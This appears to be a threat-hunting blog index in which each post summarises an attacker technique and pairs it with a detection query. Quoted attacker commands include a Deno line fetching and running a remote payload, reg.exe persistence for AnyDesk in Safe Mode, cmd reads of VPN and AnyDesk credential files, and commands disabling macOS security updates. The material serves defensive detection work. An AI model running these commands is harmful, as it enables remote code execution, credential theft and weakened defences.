Posts

413. Threat Actors Abuse Multiple Services for System Location Discovery

Image
Hello everyone! I hope you remember that collecting information about a compromised system is one of the most valuable stages from a threat hunting perspective. Today, let’s take a look at the following technique:  System Location Discovery (T1614) . Quite often, malware uses various legitimate web services to obtain information about the IP address of a compromised system. In this case, the attackers used several of them, namely: https://ipv4[.]ipleak[.]net/json/ https://get[.]geojs[.]io/v1/ip/geo[.]json https://ipapi[.]co/json/ https://api[.]ipapi[.]is/ https://ipinfo[.]io/json If some of these services are unfamiliar to you, they can serve as the basis for a hunting hypothesis, for example: event_type: "dnsreqwin" AND dns_rname: ("ipv4.ipleak.net" OR "get.geojs.io" OR "ipapi.co" OR "api.ipapi.is" OR "ipinfo.io") See you soon!
Post a Comment
Read more

412. Threat Actors Abuse Deno to Run Remote JavaScript Payloads

Image
Hello everyone! Today, we’ll talk about JavaScript (T1059.007) and how attackers abuse a legitimate runtime. As part of another ClickFix campaign, the attackers used some pretty interesting techniques. First, they used winget.exe to download and install the Deno runtime. Second, they used Deno to execute a malicious payload from a remote server controlled by the attackers: deno.exe run -A hxxp://webstizkgao[.]com/v020def066f14754be9.js So, it looks like Deno could be a great hunting target: event_type: "processcreatewin" AND proc_file_originalfilename: "deno.exe" AND cmdline: "run" See you soon!
Post a Comment
Read more

411. Ransomware Actors Control Systems in Safe Mode Using AnyDesk

Image
Hello everyone! As you probably know, the Modify Registry (T1112) technique allows attackers to accomplish a wide range of objectives throughout the attack lifecycle. Today, we’ll take a look at another interesting example. To bypass existing security controls, the ransomware actors - this time Akira (Neon Wolf) - once again took advantage of Windows Safe Mode. But the attackers needed a way to control the compromised system. For this, they used AnyDesk . To ensure that it would be launched even after rebooting into Safe Mode, they made the following registry modification: "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service Since this activity takes place immediately before the ransomware deployment begins, it may be the last opportunity to prevent damage. For example, it is worth monitoring for suspicious modifications to the relevant registry key: event_type: "registryvaluesetwin" AND reg_...
Post a Comment
Read more

410. Adversaries Want to Be Stealthy, But Make More Noise

Image
Hello everyone! Today, let’s look at an example of how attackers’ attempts to get rid of artifacts can actually add more noise. Moreover, this is a very common example. Our source is a Zscaler report on the new modular remote access trojan Abyssos. Despite being new, the trojan uses a huge number of well-known techniques. For example, as part of implementing the File Deletion technique (T1070.004), the malware executes the following command: cmd.exe /C ping 127.0.0.1 -n 3 >nul & del /F /Q path_to_file Although the malicious file is deleted in this case, the structure of the command is quite distinctive, giving us an opportunity for detection: event_type: "processcreatewin" AND proc_file_path: "cmd.exe" AND cmdline: ("ping" AND "del") Moreover, this is far from the first sample exhibiting a similar behavioral marker, allowing us to detect not only this particular family but many others as well. See you soon!
Post a Comment
Read more

409. Adversaries Abuse Localhost[.]run for Tunneling

Image
Hello everyone! Tunnels. Attackers are coming up with more and more ways to implement them. Today, we’ll take another look at the Protocol Tunneling technique (T1572) . There are plenty of free tunneling services that allow a local service to be exposed to the internet through a public URL. For example, attackers often use Cloudflare Tunnel. However, according to this report , threat actors also used localhost [.] run . You can detect traces of its use, for example, by monitoring communications with lhr [.] life subdomains: event_type: dnsreq* AND dns_rname: "lhr.life" See you soon!
Post a Comment
Read more

408. Adversaries Disable Updates for Compromised Systems

Image
Hello everyone! Today we'll look at how threat actors interfere with updates on compromised systems as part of the Disable or Modify Tools (T1685) technique. This time, our focus is on macOS. Let's open the report on XCSSET activity and scroll to the "Impairing Defenses" section. As you can see, the threat actor uses the following commands to disable specific Apple security update mechanisms: defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist ConfigDataInstall -bool false defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist AllowRapidSecurityResponses -bool false The first command disables the delivery of security data updates for XProtect, Gatekeeper, and other Apple security components. The second disables the installation of Rapid Security Responses (RSR). To detect this behavior, we can hunt for modifications to the com.apple.SoftwareUpdate.plist file performed through the defaults utility: event_type: "processcreatemac" ...
Post a Comment
Read more

407. That's How Paper Werewolf Obtains Credentials

Image
Hello everyone! Attackers are often able to extract authentication material from files, so today we'll take a look at the Credentials In Files (T1552.001) technique. According to Kaspersky's report on the activity of the GOFFEE (Paper Werewolf) cluster, the threat actors showed a strong interest in various configuration files containing sensitive information, including: cmd.exe /c type "%APPDATA%\AnyDesk\service.conf" cmd.exe /c type "%USERPROFILE%\OpenVPN\config\avia\avia.ovpn" cmd.exe /c type "%APPDATA%\Kerio\VpnClient\user.cfg" cmd.exe /c dir "%USERPROFILE%\Downloads\Telegram Desktop" Naturally, this kind of activity creates opportunities for proactive threat hunting. For example: event_type: "processcreatewin" AND proc_file_path: "cmd.exe" AND cmdline: ("type" OR "dir") AND cmdline: ("anydesk" OR "openvpn" OR "vpnclient" OR "telegram desktop") See you so...
Post a Comment
Read more